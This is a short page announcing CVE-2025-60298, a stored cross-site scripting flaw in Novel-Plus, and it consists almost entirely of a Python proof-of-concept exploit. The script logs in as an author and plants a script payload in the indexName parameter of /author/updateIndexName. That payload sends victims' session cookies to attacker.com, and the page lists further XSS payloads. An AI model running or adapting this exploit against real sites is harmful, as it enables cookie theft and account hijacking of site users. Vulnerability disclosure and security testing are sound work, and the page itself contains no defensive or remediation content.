CVE-2025-60298：Novel-Plus存储型XSS漏洞

import requests # CVE-2025-60298 - Novel-Plus Stored XSS PoC # Vulnerability: Stored XSS via /author/updateIndexName endpoint # Parameter: indexName TARGET_URL = "http://target-novel-plus.com" LOGIN_URL = f"{TARGET_URL}/author/login" UPDATE_URL = f"{TARGET_URL}/author/updateIndexName" # Step 1: Login as authenticated author user session = requests.Session() login_data = { "username": "author_user", "password": "author_password" } session.post(LOGIN_URL, data=login_data) # Step 2: Craft malicious XSS payload via indexName parameter # The payload will steal session cookies and send to attacker's server xss_payload = '<script>var i=new Image();i.src="http://attacker.com/steal?c="+document.cookie;</script>' # Step 3: Send the malicious payload to the vulnerable endpoint update_data = { "indexName": xss_payload, # Additional parameters may be required based on the application logic "bookId": "1", "chapterId": "1" } response = session.post(UPDATE_URL, data=update_data) print(f"Status Code: {response.status_code}") print(f"Payload stored successfully. XSS will trigger when victim views the chapter.") # Alternative payload for demonstration: # <script>alert('XSS-CVE-2025-60298')</script> # <img src=x onerror=alert(document.cookie)> # <svg onload=alert(1)>